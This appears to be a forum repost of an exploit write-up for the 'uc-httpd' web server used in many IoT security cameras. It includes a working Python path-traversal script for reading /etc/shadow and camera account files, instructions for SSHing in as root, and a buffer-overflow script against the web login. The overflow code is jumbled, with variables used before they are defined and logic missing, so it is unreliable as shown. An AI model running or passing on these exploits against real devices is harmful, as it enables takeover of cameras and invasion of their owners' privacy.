So, here is an n-day expoit that we (my 0day development crew) found back in 2017 (zero-day at the time). Reposting from my github. It's still unpatched despite being four years old, with over two million vulnerable IoT devices (with remote root possible on all of them).
The affected software is "uc-httpd" which is a web interface for a series of models of security cams. Due to the nature of this vuln, it's not possible for them to patch it without performing a mass product recall and re-writing the firmware, so currently it's still exploitable as an n-day :)
Do not abuse this. This is only for research, nothing else. I can't be held liable for your stupidity.
There are multiple exploits here. There is a local file disclosure and also a buffer overflow - you can generally get root via the LFD alone, so there's not really much need for the buffer overflow unless an LFD scenario fails.
So, the LFD is sent as a direct HTTP request to the box, rather than being a vuln POST/GET param. You can generally read /etc/shadow file on the box via the LFD, which contains PLAINTEXT hashes for the root password (so you can just SSH into teh box as root from there using the plaintext pass).
If for some reason you can't read the shadow file via the LFD, then instead you should attempt to read /mnt/mtd/Config/Account1
to get credentials from the admin interface, and then you can abuse the overflow from there to get root.
Here you can see the results from shodan, showing that there are currently more than 1.9 million devices running this (with our more extensive scanning returning over 2.5million devices):LFD automated exploit code (python):
import urllib2, httplib, sys
httplib.HTTPConnection._http_vsn = 10
httplib.HTTPConnection._http_vsm_str = 'HTTP/1.0'
print "[+] uc-httpd 0day exploiter [+]"
print "[+] usage: python " + __file__ + " http://<target_ip>"
host = sys.argv
fd = raw_input('[+] File or Directory: ')
print urllib2.urlopen(host + '/../../../../..' + fd).read()
It is also worth noting, that in addition to the LFD vuln... you can also supply a directory path to uc-httpd in the same manner that you'd supply the file you want to disclose... it will then output the contents of the directory to you as if you ran "ls" on that dir, so you can use that to enumerate directory contents in order to read even more files (although generally all you need to read to pop root is /etc/shadow or /mnt/mtd/Config/Account1)
If you can't read shadow file and ssh direct into the box as root that way, then read Account1 file and use the following buffer overflow within the web interface (protip: if ASLR is enabled, you can get the relevant memory regions via reading particular proc entries through the LFD)Buffer Overflow automated exploit code (python):
Overwrite set shellcode:
import mechanize, time, sys, urllib, socket
from termcolor import colored
print colored('uc-httpd web-daemon bufferoverflow', 'red')
print colored('- Overwrites the stack (attach to see)', 'red')
print colored('- Kernel watchdog module restarts Sofia after 2 minutes', 'red')
print colored('Sending payload.. ', 'red')
s_c = "\x2f\x4c\x6f\x67\x69\x6e\x2e\x68\x74\x6d" # Page id
x = mechanize.Browser()
x.addheaders = [("User-agent",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36")]
login = x.open(tar_full + s_c)
x["username"] = buffersm
x["password"] = "mikevirushackinglimited"
print colored('Target daemon not vulnerable.', 'red')
# Check interface status
print colored('Checking interface status..', 'red')
print colored('Exploit failed', 'red')
print colored('Finished.', 'red')
tar = sys.argv
tar_p = sys.argv
buff_size = sys.argv
tar_full = "http://" + tar + ":" + tar_p
# rec 180
buffersm = "\x41" * int(buff_size)
# post only
enjoy ;) but please don't abuse.